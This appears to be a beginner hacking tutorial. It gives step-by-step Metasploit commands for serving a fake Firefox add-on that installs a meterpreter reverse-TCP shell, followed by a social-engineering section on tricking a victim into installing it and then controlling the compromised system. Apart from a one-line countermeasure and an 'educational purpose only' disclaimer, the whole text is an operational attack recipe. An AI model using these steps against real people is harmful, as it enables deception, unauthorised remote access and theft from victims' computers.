Part I: Update the Metasploit As we are going to use the latest module, you are advised to update the Metasploit modules. Don’t know how to do this? No need to worry!

Open the Terminal

type msfupdate

This will update the Metasploit with latest modules 🙂

Part II:Configuring settings in Metasploit for the fake-addon exploitStep 1:

Open the Terminal and type “msfconsole” to get the Metasploit console.

Step 2:

Type “use exploit/multi/browser/firefox_xpi_bootstrapped_addon” in the console.

Step 3:

Now we have to know the list of settings available for this exploit module. In order to get the list , you can type “show options” in the console.

Unlike the last tutorial, this module has an extra settings for the module namely “addonname”.

Step 4: Configurations

Let us configure the setting for the exploit.

type the highlighted commands one by one in the console

Command:set addonname fake

Details: Name for the fake add-on. you can change the “fake” to any name.

Command:set SRVHOST 192.168.56.11

Details: Here the 192.168.56.11 is the ip of Backtrack . You can get this ip by simply typing the “ifconfig” in the terminal. If you have trouble in getting the ip details, please drop your comment or read my previous post.

Command: set SRVPORT 80

Details: Our server is going to be accessed via the port 80(default port)

Command: set URIPATH fakeEx

Details: The path in which the fake add-on will be available to download. For ex: http://192.168.56.11/fakeEx

Command: set LHOST 192.168.56.11

Details: Here the 192.168.56.11 is the ip of Backtrack . You can get this ip by simply typing the “ifconfig” in the terminal.

Step 5: Payload

As usual, we can use Reverse Tcp payload for this attack also. So type the following command in the Metasploit console:

set payload windows/meterpreter/reverse_tcp

Part III: Social Engineering Attack

Successfully configured the settings for the exploit, what else?! let us launch the exploit. Type “exploit” in the console.Now the exploit is started. Our fake add-on is available at, “http://192.168.56.11/fakeEx”.

Once victim visit the link, it will ask user to install the add-on in order to view the page. Once user install the add-on, the system will be backdoor-ed.

Now , You can control the victim system from meterpreter.

Countermeasures:I believe you understand the risks of installing the add-on from unknown sources. So, think twice before installing add-on . Always use trusted add-on. Search in the google for review about the add-on.

Disclaimer:The article given here is educational purpose only. We suggest you to try this method in a controlled virtualbox environment. We are not responsible for your illegal activity.